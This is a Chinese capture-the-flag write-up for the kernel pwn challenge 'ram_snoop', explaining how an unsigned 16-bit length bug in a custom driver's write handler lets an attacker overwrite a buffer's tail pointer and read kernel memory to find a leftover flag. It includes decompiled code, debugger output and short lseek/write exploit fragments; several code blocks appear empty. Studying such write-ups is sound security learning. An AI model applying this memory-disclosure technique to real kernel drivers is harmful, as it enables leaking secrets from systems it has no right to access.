2025国赛初赛ram_snoop wp
题目链接
https://github.com/yfor-yfor/-/tree/main/2025%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9B
题目分析
一道kernel pwn,漏洞点在于可以修改data的head和tail值,做到任意读
init
1 |
|
值得注意的点是,会执行一个叫eatFlag的二进制文件,核心内容如下:
1 | __int64 flag_init() |
会创建一个堆块,读入flag内容,并且删除flag文件
start.sh
1 |
|
开启了最常规的几个保护
babydev.ko
ioctl
ioctl的几个操作用不上,可以泄露进程号,进程名,global_buf地址等等
关于能泄露的内容,实际上是对应栈上的几个变量,将他们改成一个结构体如下
感兴趣可以看一看
1 | struct dest |
global_buf
1 | struct buf |
作为题目里的全局变量,对应的结构体内容如下,head不会改变始终为0
而tail会因为写入内容而增大
read
1 | __int64 __fastcall dev_read(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4) |
区别于常规的read,它具有四个参数,而第四个参数,表示了读入的位置,并且读入成功的话,也会加上读入的长度
write
1 | __int64 __fastcall dev_write(__int64 a1, __int64 a2, unsigned __int64 n0x7FFFFFFF, __int64 *a4) |
write与read一样,多了个四参,同时也是控制了输出的起始位置
不过在标注处有一个关键的漏洞,令长度为(unsigned __int16)-*(_WORD *)a4
不难理解,是为了在后续用这一步*a4 += n0x7FFFFFFF_1;让*a4清零
但是如果*a4本身就超过了0x10000呢,比如*a4的值为0x10001,那运算的结果就会是-1,即0xffff
seek
1 | __int64 __fastcall dev_seek(__int64 a1, __int64 a2, int n2) |
跟lseek函数几乎一样,除了在rdx为SET_END(2)时,lseek此时对于rsi==50的话,表示移动到倒数50的地方,而dev_seek函数是rsi==-50表示移动到倒数50的地方
初步分析
首先,需要想办法读取flag内容,而eatFlag程序结束,对应的堆也消失了,只能够寻找内核中是否有可能存在flag
gdb调试,获取global_buf.data的地址
1 | pwndbg> p/x $rsi |
搜索flag字符串所在内存
1 | pwndbg> search "flag{123" |
1 | pwndbg> distance 0xffffa1bf02180000 0xffffa1bf074be050 |
最终得到,这个字段在global_buf.data外
并且多次测试发现,大概在0x5000000左右(注意,关闭kaslr时,flag好像就不会在global_buf.data正偏移处了)
而我们的data只有0x10000的可以用长度,所以为了读取到flag,必须攻击tail指针,使得我们可以读取远超合法范围的数据
漏洞利用流程
在利用前,需对read,write的第四个参数做一些测试
很明显,表示了读取或者输出的位置
而lseek函数,同样能修改读取和输出的位置,因为他修改的指针0x40偏移处的内容就是f_pos
1 | +0x40 loff_t f_pos; |
而经过测试发现,lseek中对fpos的修改,能够影响到read,write的第四个参数进入时的取值
有两种让tail变得很大的方法:
1
2
3
4
5for (int i=0;i<=5000;i++){
lseek(dev_fd,0, SEEK_SET);//令pos=0
write(dev_fd,buf,0x10000);//令pos=0x10000 tail+==0x10000
//而write时会检查pos+length<0x10000,所以下一步循环继续清零pos
}这个方法不断循环,就能让tail变得很大,但很显然不够优雅
1
2
3
4
5
6write(dev_fd,buf,0x10000);//令pos=0x10000 tail=0x10000
lseek(dev_fd,0, SEEK_SET);//令pos=0
write(dev_fd,buf,0x10000);//绕过检查,成功使pos=0x10000 tail=0x20000
lseek(dev_fd,8, SEEK_CUR);//表示令pos=0x10008
buf[0]=0x7FFFFFFFFFFFFFFF - 0xFFF8;
write(dev_fd,buf,0x8);//污染tail为0x7FFFFFFFFFFFFFFF,从而任意正偏移读取这里利用到了write处存在的漏洞
1
2
3
4
5
6
7
8
9
10
11
12if ( *a4 > 0xFFFF && tail >= global_buf->tail )
return -105LL;
//因为这一步攻击时,我们的pos=0x10008,所以会令第一个表达式为真,为了继续后续的攻击,我们要让第二个表达式为假
//tail就是*a4,意思就是pos需要<tail,也就是tail>0x10008,这就是我们前面令tail=0x20000的原因
if ( tail + n0x7FFFFFFF > 0x10000 )
{
n0x7FFFFFFF_1 = (unsigned __int16)-*(_WORD *)a4;
}
//此时让n0x7FFFFFFF_1=0xFFF8
global_buf->tail += n0x7FFFFFFF_1;
//而tail被我们覆盖为了0x7FFFFFFFFFFFFFFF - 0xFFF8
//加法完tail就是0x7FFFFFFFFFFFFFFF
后续就不断地读取并且搜索flag字段即可
exp
1 |
|
- Title: 2025国赛初赛ram_snoop wp
- Author: yfor
- Created at : 2025-12-30 22:23:25
- Updated at : 2025-12-30 22:41:36
- Link: https://yfor-yfor.github.io/2025/12/30/2025国赛ram_snoop-wp/
- License: This work is licensed under CC BY-NC-SA 4.0.